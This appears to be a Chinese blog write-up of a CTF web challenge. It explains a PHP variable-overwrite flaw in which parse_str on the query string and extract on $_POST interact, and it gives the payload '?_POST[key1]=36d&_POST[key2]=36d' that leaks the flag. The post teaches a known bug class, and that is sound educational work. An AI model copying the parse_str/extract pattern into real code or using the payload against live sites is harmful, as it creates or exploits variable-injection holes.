web134笔记(parse_str()函数和extract()函数)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-14 23:01:06

*/

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

看到parse_str()函数和extract()函数,可以看得出是变量覆盖,这两个函数前面的题都讲过了,我们再简单讲一下流程


parse_str():把查询字符串解析到变量中

extract():函数从数组中将变量导⼊到当前的符号表

$_SERVER['QUERY_STRING']:web127

parse_str
($_SERVER['QUERY_STRING']); var_dump($_POST);
先会以数组来输出,然后extract就成了正常的传参

如果我们传入?_POST[a]=dotast,就会输出array(1) { ["a"]=> string(6) "dotast" },再使用extract函数,就会变成$a=dotast
所以payload为

?_POST[key1]=36d&_POST[key2]=36d

 

posted @ 2025-03-29 10:42  justdoIT*  阅读(17)  评论(0)    收藏  举报